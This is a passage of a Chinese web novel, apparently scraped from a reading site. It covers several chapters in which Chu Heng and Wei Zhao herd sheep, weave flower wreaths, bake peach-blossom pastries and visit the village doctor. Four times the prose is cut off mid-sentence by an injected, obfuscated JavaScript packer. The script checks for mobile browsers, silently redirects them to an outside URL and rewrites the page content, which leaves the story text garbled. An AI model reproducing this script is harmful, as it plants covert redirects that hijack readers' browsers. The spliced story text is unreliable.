他怎么了?不就是脾气有点急,说话声音有点大吗? 也不知道那些人干嘛这么怕他,还要报官,他明明很讲礼貌的好不好。 “以前小恒在的时候也没见您这么管着我啊?” 谢怀钰摸着脑袋一脸的不解。 谢逸然冷呵:“以前二哥在的时候有二哥帮着你,你出门得罪了人二哥也给你压下去了,现在呢?等着揪你小辫子的人都快从咱家门口排到城门口了。” 说着说着就呛呛起来了,俩糟心孩子好不了半天。 谢旭林额角又开始疼了,他摆了摆手:“你俩赶紧走,看见你们就烦!” 谢逸然不可置信地指了指自己:她烦?她这么乖的小棉袄上哪里找哦。 她气得要去找娘告状,撸了撸袖子就去搬装腌笋的陶罐。 谢旭林淡淡瞥了她的爪子一眼:“放下。” 谢怀钰嘲笑一声:“呵!” 谢逸然猛一跺脚,重重地“哼”了一声,转身就走。 谢怀钰在原地嗷嗷抱着脚蹦跶:“谢逸然,你给我等着!” 谢大元帅脑瓜子嗡嗡的。 晚上夫妻夜话,闻素旻见他坐在床边上一副心事重重的模样,心中明了几分。 她走过去坐在他的身边,“还在担心小恒那孩子?” 谢旭林回过神,伸手拉住她的手,指腹摩挲着她的手背,他叹了口气:“他一个人在外面,我总是放心不下。” 这孩子当年被他找到,废了无数心力才将他从鬼门关拉回来,这么多年一直精心养着,孩子乍一离开他身边,他总是放心不下。 这是他妹妹留下来的唯一血脉。 闻素旻靠着他,轻声道:“小恒心思重,你不能总盯着他。在春林镇安排人远远看顾着就够了,再多了,他该不自在了。” 过了年,那小子一声不吭不辞而别,可元帅府要是连他的行踪都找不到,谢旭林这个大元帅也该让位了。 见他愁容不展,闻素旻劝道:“小恒能来信,已经出乎我们意料了,更别说他还在信中提到了上溪村的生活,一切看起来都在朝着好的发展。那里于他而言总归是不一样的,或许,以后会有更多的惊喜也说不定。” 谢旭林伸手揽住她,没有说话,心里却是将妻子的话听了进去。 能做的他们都做了,如今只能祈祷,这世间有奇迹发生。 楚恒不知京中因他送去的东西而引发的事情,他如今解锁了一个新的技能—— 放羊。 此时草木茂盛,卫昭养的羊也大了些,正适合出来漫山遍野地找吃食。 这些时日没有什么要紧的农活,楚恒又恢复了深居简出的样子,闲在家中,时不时便在院子里躺在躺椅上晒会儿太阳,翻几页书。 一次去山上放羊,卫昭路过楚家门口,正好看见楚恒躺在院子里,双目空空地看着蓝天白云,半天下来动也不动。 卫昭垂下眼睛,想到了余爷爷曾说的“郁结于心”。 原本就身体不好的人,若是心思再重些,那指定是要影响健康的。 卫昭不太懂得药理,可她明白,心思开阔的人,生病总是能好的更快些。 而楚恒心中藏了很多事。 她蹲下来,拍了拍三斤的脑袋,指了指楚家的院子,三斤便嗷嗷地冲着十分大方给它带肉的大骨头的楚恒撒欢跑了过去。 楚恒立时被惊的回神,没等他看清,便被三斤扑了个满怀。 不止三十斤的大狗差点给他连人带椅子直接掀飞,他脑子被撞得成了一团浆糊,好久才缓过来。 楚恒坐起身看向院门,就见卫昭正笑得一脸明媚,抬手冲他扬了扬手里的鞭子当做打招呼,嘴里喊道:“楚恒哥,要不要一起去放羊?” 自那以后,卫家一大两小的三只羊,有了两人一狗一起放。 卫昭放羊就是山脚和河堤两个地方来回转悠,有三斤在,她从不担心羊会丢。 今日她赶着羊顺着河堤一直走,都快走出了村子的地界才在一块浅河洼处停了下来。 把羊郑重地交给三斤,得到对方十分肯定地“呜汪”一声,她便带着楚恒跨着河中的石头去了对岸。 远看只能看到对岸一片绿衣,不觉得有什么特别的,跟着卫昭翻过河,走近一看,才知地上那层绿衣之上还点缀着别样的色彩。 白色、黄色、紫色、蓝色…… 各色的小野花一簇挨着一簇,贴着地表长出来,好似在一块青绿绸缎上绣了画。 卫昭十分豪迈地选了个地方一屁股坐下,“怎么样?好看吧。” 见楚恒点头,她更加得意,“等到入夏,水中荇菜开花,这里的景色会更好看。”如今的颜色还是太浅了些,不够花团锦簇。 楚恒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901527|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学着她的样子坐下,视线看向他们刚刚来过的对岸。 有只小羊贪玩想跑,被三斤追了回来,丢给了它娘,母羊拿脑袋顶了顶不听话的小羊。 视野一点点放大,明明刚刚那里的景色他亲眼看过,可坐在这里再看,却是一种不同的体验。 天地偌大,他只偏安一隅。 以为眼睛所见便是全部,却不知换个角度,又是一番风景。 耳边传来的窸窸窣窣的声音让他渐渐回神,转头便见卫昭正“辣手摧花”,身边已经堆了不少的野花。 卫昭觉得花薅得差不多了,又起身跑去折了不少柳条,回来还分了楚恒一些。 楚恒拿着柳条打量了一番,问道:“你要做什么?” 如今的柳条好像已经不太好吃了,摘的花也不像能吃的样子。 卫昭比量了一下脑袋大小,将柳条弯成一个环,“我要做个花环。” 楚恒好奇问道:“簪花?” 卫昭愣了一下,思索一番后点了点头:“好像是叫这个名字。” 以前去镇上和县城,好像是听人这么叫的。 就是她的野花没人家的又大又好看。 不过卫昭手巧,各种颜色的野花盘在柳枝环上,互相点缀映衬,倒也别有一番趣味。 卫昭将花环顶在头上,凑去河边打量,脑袋左摇右晃,古灵精怪。 楚恒一时看入了神。 卫昭欣赏够了便转回了身子,正对上楚恒还未移开的视线,心底突然好像漏了一拍,莫名有一种羞涩的情绪漫上心头。 她眨了眨眼睛,有些不知道自己是怎么了。 而楚恒也同时看向了别处。 他垂下眼睛,一时间有些茫然无措。 思绪纷乱间,脑袋上便被卫昭扣上了那个花环。 少女眉眼弯弯,“送你了。” 乡野之间,随手盘个玩具送给发小是件再平常不过的事情,他知道她没有别的心思。 他也不该有别的心思。 卫昭嘀嘀咕咕:“这个还是太浅淡了,过几日我要去桃林,再编一个桃花花环。” 桃林,桃花…… 如今已快到三月末了,桃花正盛。 楚恒看着自家院子里那株只有星点桃叶舒展的桃树,手抚在粗糙的树干上,脑海里是幼时父亲将它从山林中移回来的情景。 那年娘亲嫌弃家中枯燥无趣,从山中寻了不少的花草回来,更是同父亲一起挑中了一棵肯定能结甜桃子的桃树。 移回家的第二年春,满院桃花盛开,那一年,他们一家吃了好多酸桃子。 后来一年比一年甜。 十多年过去,它已经不再开花了。 听卫昭说,有一年它花开得早,结果那年是倒春寒,一夜风雪之后,花朵落了满地,秋里一个果子也无,自第二年起再未开花。 它还活着,却再不能开花结果,也不知还能残喘多久。 楚恒回到屋里,跪在爹娘的牌位前,嘴里念诵着经文,心却久久不能平静。 案前的那朵花环成了这个枯败的院子里唯一的色彩。 21. 桃花灼灼 雀儿山脚有一处桃林,三亩多些,不算大,如今三月底,花期正盛。 粉色的花朵缀在枝头,能让人真正感受到春天的到来。 卫昭深深嗅着此处的桃花香,只觉得心旷神怡。 本来只想折几枝桃枝的她,此刻脑海中突然蹦出来了桃花酥的模样,把她馋的不行,央着楚恒一会儿给她多采些花瓣。 楚恒好说话的很,也不问她要做什么,问清她要的什么花瓣,便上前去采。 卫昭看中了几个桃花枝,刚折下一枝,就见有人自桃林深处走出来,身影分外眼熟。 “哥,你来这儿干嘛?” 卫昭疑惑地看着卫吉祥,视线扫过他手中抱着的那几只开的正艳的桃花,她不由得眯了眯眼睛。 不对劲! 卫吉祥被吓了一跳,实在没想到他就进去这么一会儿,卫昭就来了。他跟被人踩中了尾巴似的,“我来就来了,怎么,这桃林只有你能来不成?” 卫昭:…… 做了这么多年的兄弟姐妹,谁不了解谁啊,这人指定要干什么坏事不敢让人知道。 “你折这么多桃枝做什么?” 卫吉祥转身就走:“大人的事,小孩子少打听。” 见人竟然吓跑了,卫昭花也不摘了,喊上楚恒悄摸坠在卫吉祥身后,准备瞧瞧这人要干什么。 二人不敢跟太近,结果一眨眼人跟丢了。 卫昭来来回回转悠了半天,怎么也找不见人,她正奇怪呢,这地方明明也没多大啊,人跑哪去了? 她都准备放弃,继续回去摘花了,结果卫吉祥自己又出现了,手里的桃花枝被编成了一个花环。 也不知道想到了什么,他笑得露出一口大白牙,根本没发现后面的卫昭。 卫昭一把拉着楚恒躲在一棵树后,吓的一颗心扑通扑通直跳。 她正偷偷打量着卫吉祥,根本没注意此时她与楚恒面对面躲在一棵树后的姿势有多近。 她的头发又黑又亮,一双睫毛又弯又长,鼻子小而挺,两颊透着十分健康的粉色…… 意识到自己在想什么,楚恒猛地退后一步。 卫昭毫无所觉,见卫吉祥走了,她下意识伸手拉住楚恒的袖子,带着人追了上去。 楚恒突然想到那天在雀儿山上,三斤捕猎时,她曾拉着他的手腕一起奔跑。 他以为那是一次很普通的接触,可如今的他却依旧能清晰地感受到腕间那抹温暖。 他看着带着自己东躲西藏的少女,心中忍不住泛起一股酸涩,最终化作一句无声的呢喃: 卫、昭、昭…… 卫昭满脑子都在想卫吉祥要去做什么,丝毫不知被她拉着的那人,心中如何兵荒马乱。 路越走越熟悉,卫昭终于想起,这是通往李家村的一条小路。 李家村,李清荷。 是卫吉祥即将娶过门的妻子。 看着远处时不时便将桃花花环举起来,小心翼翼打量一番,最后露出一个傻乐模样的卫吉祥,卫昭终是停下了脚步,没再上前。 卫吉祥这么期待,她还是不去给她哥捣乱了。 楚恒不知她为何不追了,问道:“怎么了?” 卫昭笑得一脸意味深长:“这条路是去李家村的,我哥这是要去见他未婚妻。” 卫吉祥有多期待成婚她又不是不知道,有个以后能打趣他的事就行了,可不敢真跟上去,万一惹出什么乱子怎么办? 楚恒下意识看向走远的卫吉祥。 隔着这么远,那背影中依旧能让人看出主人的欢快与期待,那被他护的极好的桃花,在日光之下也显得更加耀眼。 “桃之夭夭,灼灼其华。” 他不禁念出了这句诗。 他的声音有些小,卫昭没听清:“你说什么?” 楚恒摇了摇头,转身和她一起往回走。 没有得到回答的卫昭也不刨根问底,转而开始盘算要摘多少桃花,做多少桃花酥。 听她一个一个计算着要送的人家,楚恒终是慢慢压下了心里漫上的那抹羡慕的情绪。 羡慕少年慕艾,直白、热烈。 桃花应当灼灼绽放。 此生他能有幸一观,便该知足。 回到桃林,三斤正窝在附近眯着眼睛打盹,耳朵却机灵地竖着,时刻关注着家中的羊。 听到主人回来的声音,它欢快地爬了起来,跑过去蹭蹭,得到卫昭一通夸赞,又心满意足地回去守着。 等摘够了花瓣,羊也放得差不多了,他们便收拾好东西回家。 刚拐过北街口,远远地便有一道声音传了过来: “——卫昭昭!” 卫昭听到声音下意识抬头,在看清家门口站着的那个身影后,脸上不禁露出一抹大大的笑容,羊都不管了,拔腿便跑。 “卫安安,你终于舍得回来了。” 卫福安,小名卫安安。 楚恒看着半路便抱在了一起的两个小姐妹,在记忆深处找到了这个人。 卫昭的爷爷,樊桂花的丈夫,是卫家那一辈的老大,因为身体原因,他与樊桂花婚后多年只得了卫远山一个孩子。 卫吉祥的爷爷是卫昭爷爷的弟弟,排行老二,除了卫长福之外,还有一子,名为卫长禄。 卫长禄有一儿一女,大儿子卫福平,和卫昭同年,小女儿卫福安,比卫昭小约莫两岁。 卫福安看着身形比卫昭小一些,着一身上白下蓝的棉布襦裙,头上戴着银钗。 比起穿着粗布麻衣经常上山下河的卫昭,她看起来要精致不少。 楚恒的视线从卫昭头上仅有的那只挽发用的木簪上扫过,平日不觉得,现在再看,只觉得太素淡了些。 叽叽喳喳互相稀罕了半天的姐妹俩终于想起来身旁还有别人。 卫昭冲楚恒招手,唤他过来,给他和卫福安互相做了介绍。 卫福安一点不避讳地上上下下打量了他好几遍。 她年纪是卫家这一辈最小的,幼时的记忆也是最少的,至少她是不记得楚恒长什么样子。要不是卫昭给楚家看顾房子,她也跟着去过几次,她可能都不知道上溪村曾有楚家这户人家。 她也确实好奇,这人看着实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901528|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不像是他们农家人,她在县城待了那么久,跟着父母接触过不少人,自认看人的眼光还是有些的,这人的身份肯定不简单。 被卫昭悄悄掐了一下,卫福安深觉自己在卫昭昭心中的地位一落千丈,瞬间对楚恒失去了探究的兴趣,转而兴冲冲地拉着卫昭回家,“走,我给你带了好多好吃的好玩的,还有新衣服,我觉得你穿上一定很好看!” 卫福安风风火火,卫昭只来得及对楚恒露出一个歉意的笑容,便被拉走了。 人都没了,楚恒只得挥着鞭子,独自将羊赶了回去。 三斤先是跟着主人跑了几步,突然想起来自家羊还在外面,转身又跑了回来跟楚恒一起赶。 楚恒抽出手呼噜了两下狗头,笑叹了句:“还是我们三斤有良心。” 将羊赶回院子,卫家院子里来了不少人,正热闹,免不了又是一阵介绍寒暄。 卫长禄带着妻子儿女来看望樊桂花,对于楚恒的事情早在他们来之前,卫长福几人便跟他们谈起过了。 杨惠珍倒是有些不好意思,刚刚闺女把昭昭拉进房间,姐妹俩自小感情就好,这也没什么,可没想到竟然把羊扔给了客人,这干得都是什么事啊? 楚恒并不在意这些,将羊圈关好,又跟众人闲聊几句,多是别人问他答,觉得差不多了,他便提出告辞。 樊桂花没同意,这几日楚恒放完羊都是跟着她家吃的,如今让人走了,家中冷锅冷灶,这孩子就不是个能好好照顾自己的性子。 不过楚恒并不打算留下,卫长禄一家回来,卫家人必然是要一起去卫长福家吃饭的,他一个外人不好跟着去。 说到底,和他爹有关系的,只有远山叔一家。 樊桂花见他坚持,几番推让后,只好同意。 正当楚恒要离开时,卫昭房间的门被人打开,卫福安拉着换了新衣的卫昭站在众人面前。 “快看,我给昭昭挑的衣服好不好看?” 卫福安一脸得意,当时在成衣铺子看到这身衣服时她就说,卫昭昭一定适合它。 桃粉间白的上衣下裙,搭配一件同色的宽袖对襟短衫,百迭裙随着她走动间轻摇慢晃,层层叠叠,恍若桃花盛开。 那几枝桃花被做成了花环,此时正灼灼绽放在她的发间。 卫昭的嘴角抿着一抹羞涩的笑,似是有些放不开。 楚恒心如擂鼓,只觉得方才看过的芳菲桃林不及她半分。 杨惠珍笑道:“咱们昭昭可真好看,已经成大姑娘了。” 卫昭被打趣的有些不好意思,“婶婶,您别笑我了。” 卫福安反驳她:“我娘说的对,你就是好看,我们家卫昭昭天下第一好看!” 这般直白的话逗笑了院子里的人,宛若桃花的少女一脸明媚,双眼盈盈,好似泛着春日最温暖的光。 “爹、娘,”楚恒跪坐在蒲团上,声音中透露着他的茫然无措:“我是不是……不该回来。” 太医院院使亲口断言他药石无医,可他偏偏遇到了卫昭昭。 为什么,在人生最后的这段旅途,他还能生出妄想? 22. 桃花酥 第22章 在卫长福家吃饭,卫昭本想去厨房打下手,结果胡娟根本不让她沾手,推着她出去了,“我都快忙完了,还有你婶婶帮我,咱家大姑娘还是去歇着吧。” 卫福安紧跟着就把人拉走了。 等到快要开饭了,卫吉祥才从外面回来,看见卫福平和卫福安自是好一番稀罕。 大概是兄弟姐妹之间总好不过多长时间,说着说着便互相损起来了。 大人在一旁笑看着,也不去管,几人自小一起长大,打打闹闹都是日常,没见谁真的恼过。 消停下来了,卫福安才想起来问:“吉祥哥,你刚刚去哪了?我回来之后给你们拿礼物,结果怎么都找不到人。” “额……”卫吉祥支支吾吾。 卫昭十分积极地插话:“我知道……” 话还没说完,就被卫吉祥一把将嘴捂住了。 “你知道个什么你知道!”卫吉祥慌张但气壮,“我出去逛逛还要跟你们说吗?你们是大哥还是我是大哥?” 卫老大的弟弟妹妹齐齐若有所思。 卫福安单手支着下巴,肯定道:“卫老大,你心虚了。” 只比卫吉祥小了三个月但这辈子只能当老二的卫福平试图煽动起义:“咱们兄妹五个自小一起长大,说好了彼此之间没有秘密,吉祥哥,你太让我们失望了,你愧对我们的信任。” 卫吉祥:“……要不你们组个班子去庙会上搭台唱戏吧。” 这唱念做打的功夫指定能收不少赏钱。 说说笑笑的,好歹是把这一茬糊弄过去了。 等吃完饭,卫吉祥趁人不注意把卫昭拉到一边,小声威胁:“今天在桃林碰到我的事不准说出去。” 卫昭乖乖点头。 卫吉祥狐疑地打量着她:“你……就没别的要说的?”比如说威胁他干点啥。 卫昭摇头,一脸的坦荡。 卫吉祥总觉得哪里不对劲,但想不明白,只能放人走。 卫昭走出去几步远,突然回头,一副刚想起来什么似的模样问道:“对了,哥,你今天编了个花环去李家村的事能说吗?” 她说完,就见卫吉祥面上先是茫然,转而反应过来,又是一脸不可置信。 “你怎么知道?” 卫昭:“嘿嘿。” 卫吉祥怒了,“你跟踪我!” 卫昭撒丫子就跑。 看着她旁边的一群人,卫吉祥根本不敢追,只能在后面咬牙切齿。 卫昭一溜烟儿跑回了家,因着路上一直忍不住笑,风灌了嗓子,进屋就先喝了桌上的凉茶。 樊桂花气得拍了她一下,“跟你说了,少喝点凉的。” 卫昭缩了缩脖子,讨好地笑笑:“我就是一时着急,忘记了,下次不敢了。” 这话樊桂花可不信,不过孩子也不能一直说,容易跟你顶着来,她便转移了话题,问起了别的:“跑这么快做什么?” 说起这个卫昭就止不住地想笑,此刻她豪情万丈:“奶奶,卫家老大这次要换人当了。” 樊桂花一言难尽,怎么都这么大了还跟小时候似的? 小时候谁都不服谁,为了当个老大,这几个倒霉孩子一天能打八顿。 要不是卫长福说“你们五个的老大有什么好争的,要当就当村里的老大。”这群孩子还不知道要打到什么时候去。 当然了,为了当上村子里的老大,卫家这五兄妹经历过孤军作战的惨败后,最终选择握手言和,一致对外。 直到卫福平和卫福安跟着父母去了县城,这个铁打的小团体才退出“江湖”。 想起这些,樊桂花道:“这几日,你多注意些安安。” “恩?”卫昭疑惑:“她怎么了?” 卫安安不还是那副叽叽喳喳捅破天的模样吗? 樊桂花摇了摇头,“安安看着倒没什么,不过你婶婶那人藏不住事儿,这次他们回来肯定不只是因为吉祥定亲。我看她今日对安安的管束比以往要严厉,多半是出了什么事。你们姐妹俩关系好,你多关注一些。他们之后要是一直不提,也只当不知道罢了。” 卫昭点了点头,“我明白了。” 祖孙俩闲话片刻,趁着落日余晖把家中牲畜一一喂过一遍,再将明日要用的红豆提前泡好,早早地便歇息去了。 等到次日鸡鸣声起,又是忙忙碌碌的烟火一天。 卫昭准备将昨日心心念念的桃花酥做出来。 她先将昨日泡好的红豆煮熟,研磨成泥,再经过小火炒制去除豆沙中多余的水分,做成馅料放再一旁晾凉备用。 要想做出不混酥、不破酥的桃花酥,水油皮和干油酥制作起来便要格外讲究比例。 卫昭挽起袖子,将面粉、猪油、糖按比例混合,加水揉成面团后不停地揉搓摔打,直至面皮光滑,她才给盖上湿布放到一边,这水油皮算成了。干油酥也要用到面粉和猪油,卫昭将昨日洗净晒干的桃花花瓣研磨成粉,加入其中,为油酥皮上色。 做好的水油皮和油酥皮要按照比例分成均等份的小剂子,取一个水油皮的剂子按扁,包裹住一个油酥皮剂子,利用虎口收紧成一个圆润的面团。 这面团折腾起来更是麻烦,需要用擀面杖擀成牛舌状,再从一端卷起成一个卷状面团,这时依旧不能动它,要让面团松弛一会儿,再将之重复卷制。 等二次松弛好了,这皮就可以擀成个圆形面片,拿来包裹早就做好了的豆沙馅料。 卫昭将面团收口朝下放在案板上,用手轻轻按压成扁圆,再均匀地在边缘划上几刀,捏出花瓣状,最后在“花蕊”处点上蛋液,撒上芝麻,这初具雏形的桃花酥终于可以送入等候已久的陶窑之中。 陶窑内里提前点燃,炉火烧的极旺,等柴燃尽了,便将里面的灰扫出来,把做好的糕点放进去,利用陶窑内里的高温将糕点烤熟。 盖上陶窑口的盖子,卫昭立刻便伸了伸腰,活动一下筋骨。 做糕点并不复杂,也并不累人,就是要求太精细了。 卫昭把她支的一摊子收拾好,给自己倒了杯茶,坐在一旁静静等着桃花酥出炉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901529|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>桃花酥还没好,便先等到了一路嗅着进门的卫福安。 “好香啊,昭昭姐,你在做什么?” 后进门的卫吉祥忍不住说道:“无事卫昭昭,有事昭昭姐,卫福安,你咋这么有出息呢!” 卫福安回了他一个阴阳怪气的鬼脸,“我乐意,你管得着吗?” 她过去揽住卫昭的胳膊,一副亲昵的样子:“我跟昭昭天下第一好!” 卫吉祥是知道怎么气她的:“某个跟昭昭天下第一好的,你吃过今年昭昭炖的兔子吗?吃过酱汁活鱼和红烧黄鳝吗?吃过昭昭前几日刚做过的东坡肉吗?啧——那滋味儿,太美了!” 卫福安这小暴脾气根本忍不了,挥着拳头追着卫吉祥满院子乱蹿。 见两人跑着跑着都快跑到她的菜地里去了,卫昭赶忙喊道:“你们别再闹了,桃花酥做好了。” 两个吃货一听这话立马消停了。 卫吉勇巴巴地跟着卫昭去开陶窑,他一把抢过卫昭手里的布,“昭昭姐,小心烫,我来端,你去歇着吧。” 有人愿意代劳,卫昭肯定不推辞,转身准备回去继续坐着,就见那边三人已经围着桌子坐好了,还一人给自己倒了一杯茶。 陶窑一开,那原本隐隐约约的糕点香气顿时更加浓郁了。 卫吉勇直接将烤盘搬上了桌。 粉嫩的糕点如同村中桃林盛开的桃花,散发着豆沙的香甜气息,糕点轻轻一掰,便能看到层层起酥。 咬上一口,那酥皮混着豆沙的甜香恰到好处地在唇齿之间绽开,隐隐还能品出几分桃花的香气。 一口糕点配一口茶,这滋味,当真是风雅。 “风雅”一词出自他们五个中学问最高的卫福平。 卫吉祥看不得别人在他面前显摆,“要是楚恒在,说的肯定比你好,指不定还能做首诗呢。” 卫福平笑道:“我管人家干嘛,比你强就行了。” 卫吉祥看着这一群弟弟妹妹,一个威胁两个不服的,只觉得自己地位不保。 吃饱喝足后,便是各回各家,当然,走的时候没一个空着手走的。 卫昭将剩下的桃花酥挑出一份打包好,喊上三斤一起去找楚恒。 去时楚家尚未开门,卫昭心有疑惑,往日楚恒这时不该是开了院门,坐在躺椅上看书吗,她上前敲了敲门,许久才有人回应。 卫昭不由得皱了皱眉,她怎么好像听到了咳嗽声。 而在看到楚恒苍白的脸色时,她便确信自己没听错,她走上前问道:“楚恒哥,你生病了?” 楚恒垂着头,视线根本不敢落在她的身上,说话的声音有些沙哑:“老毛病了,不用在意。” 卫昭打量了他几番,怎么感觉这人的心事又重了。 生病了就要看大夫,她道:“我们去余爷爷那里看看。” 楚恒下意识往门内退了一步,摇了摇头:“不必……” 话还没说完,人就被卫昭拉了出去。 平日里笑容明媚的小姑娘此刻却虎着一张脸瞪着他:“你今天必须去!” 23. 阴阳平衡 第23章 平日里只见卫昭笑得明媚,性子活泼,何时见过她这般生气的模样。 楚恒话都不敢说一句,乖乖被人带走了。路上几次想张嘴哄人,愣是都被卫昭给堵回去了。见此,他整个人都讪讪的。 余爷爷家正热闹着,卫丰宝和他的几个伙伴正在院子里叽叽喳喳地干活,见到卫昭他们过来,十分热情地喊人:“昭昭姑姑,叔叔。” 听卫丰宝喊了楚恒“叔叔”,他的几个小伙伴也跟着叫了一声。 见到小孩子,卫昭终于露出了一点笑意,挨个跟他们打招呼,问道:“你们怎么来这里了?” 卫丰宝指了指余天光院子后面的那一排果树,说道:“太爷爷家的果子快熟了,我们来帮忙。” 干了活换一点零嘴吃,村里的孩子都是这么过来的。 卫昭跟他们聊了几句,便打开了自己手里拿着的糕点。“我做了些桃花酥,你们和余爷爷一起分着吃。” 几个小孩眼前一亮,又可以吃到昭昭姑姑做的好吃的了! 卫昭做的小零食在村子里十分受欢迎,至少每次过年过节时,家中做了零嘴刚出锅,那边就有人带着馋的快哭了的小孩来用粮食换或者银钱买。 油纸包还未打开就有一股香甜气息扑面而来,桃花酥粉粉嫩嫩,小孩子一打开就喜欢上了,卫丰宝从卫昭手中将整包接过来,转身就和小伙伴往屋里跑,边跑边喊:“太爷爷,昭昭姑姑做了桃花酥,可香了,你快过来吃。” 楚恒站在那看着一声都不敢吭,眼神追着那包桃花酥,直至那抹粉色消失不见。 那是他的桃花酥…… 他有些委屈地看了卫昭一眼。 卫昭原本还在笑的嘴角瞬间就拉下来了,“看我干嘛?” 楚恒:“……” 他现在不仅头疼,心还有点疼。 看到吃着糕点出来的余爷爷和小孩子后,他只觉得自己病的更厉害了。 余天光乐呵呵地跟卫昭二人打招呼:“你们怎么来了?” 卫昭把楚恒往前一推,余天光打眼一瞧:“哟,又病了,年轻人怎么这么不注意自己个儿的身子呢。” 边说着,余天光边引着楚恒去院里摆的桌椅那坐下,三两口吃完糕点,便拿出脉诊给他把脉。 原本叽叽喳喳的小孩子也跟着安静了下来,排排蹲在一旁瞧个稀奇。 把脉他们见过许多次,这个爹娘口中极有学问的秀才公才稀奇嘞。 他们在打量楚恒,楚恒也在打量他们……手中的桃花酥。 卫丰宝犹豫地伸出手上的油纸包,“叔叔,你要吃吗?” 楚恒没说话,反而是先看向了卫昭,卫昭看了他一眼,没说话,又转去看余爷爷给他把脉。 楚恒摸不准她是什么意思,遵从内心的渴望伸手去接,那边卫昭突然轻咳一声,吓得他赶紧收手,对卫丰宝摇了摇头。 换了两只手摸脉,余天光心中大致有了数:“身体底子太差,心气郁结,再一失眠着凉,这风寒可不就找上你了。” 他起身去配药,一边拿药,一边忍不住念叨:“早就说了让你放宽心,多注意身子。养生之道在于‘法于阴阳,和于术数,饮食有节,起居有常,不妄作劳’,讲究这么多,也不过是求一个身与心之间的阴阳平衡。心劳则百病生,心净则万邪息。年轻人,有时候别对自己过多苛责,放过自己,许是事情能变得更好也说不定……” 他是一个大夫,更是一个看着这群孩子长大的长辈,孩子不爱惜自己,家中又无人照看,他这个当长辈的总是忍不住想多说几句。 楚恒安静地听着,这些道理多年来他听过不少,可有些事要放下,谈何容易? 卫昭看看余爷爷,再看看楚恒,垂着眼眸若有所思。 拿上余天光配好的药,二人付了钱离开。 一路走回到家门口,楚恒心里惴惴,半天才找到一个话题:“今日……还去放羊吗?” 卫昭看了看天色,下午都过半了,她摇了摇头,“不放。” 又交代他几句按时吃药,卫昭喊上三斤回家。 而终于等到她理自己的楚恒,那忐忑不安的心放下了一半。回到家中别的不干,先把药材泡上了。 他要照顾好自己,不然卫昭昭还会生气。 卫昭并不知原来自己生次气有这么大的威力,她正在想余天光说的那些话: 法于阴阳,和于术数,饮食有节…… 药食同源,她学了这么多年的厨艺,虽不懂药理,但食材之间的相生相克之道还是懂些的。 本以为这两个月下来这人气色渐好,身体有了起色,没想到内里依旧亏虚,卫昭一路上都再琢磨要怎么养才能将人给养的活蹦乱跳的。 至于说任人自生自灭,不说奶奶当初说的那些两家之间的情分,就说现在,两个月的和谐相处,楚恒总归是跟她们处出了一些情谊的,朋友身体不好,她若不多关心几分,她就不是卫昭昭了。 回家的路上正好遇到卫三叔做生意回来,卫昭跟他打了声招呼,看见他的车里还有剩的肉,叫住人问:“三叔,你家还有排骨吗?” 卫三河停下牛车,掀开后面盖着的框子,说道:“正巧了,今日买排骨的人少,还剩了一扇,你看看合不合适。” 卫昭凑上前去看了看,觉得还行,便买了下来,提着回了家。 跟奶奶闲聊几句,卫昭刚踏上廊下,便看见门口放了几根山药,她不禁疑惑:“奶奶,这山药是哪里来的?” 樊桂花指了指隔壁梨花嫂子家:“梨花那丫头送来的,说是她家卫丰宝吃了你不少糕点。” 卫昭蹲下来看了看,这山药像是刚从土里挖出来的,估计是山药一直埋在沙土里保存,这样做能延长山药的保存时间。 卫昭也没说什么客气的话,村里人之间来来往往的,也算不清到底谁吃亏占便宜。 倒是这山药让她有了些灵感,她进了地窖好一通翻找,出来时手里拿了几根萝卜。 将等会儿要用的大米提前浸泡着,卫昭开始处理其他食材,她先剁好排骨,将其冷水下锅配着葱段和姜片焯水去腥,又将山药和萝卜切碎。 等排骨处理好了,卫昭直接将排骨放入砂锅中,加入足量清水炖煮。 排骨煮开有一刻钟左右,把浸泡过的大米放入,水开后放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906594|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入山药和萝卜,再适当加些盐调味。 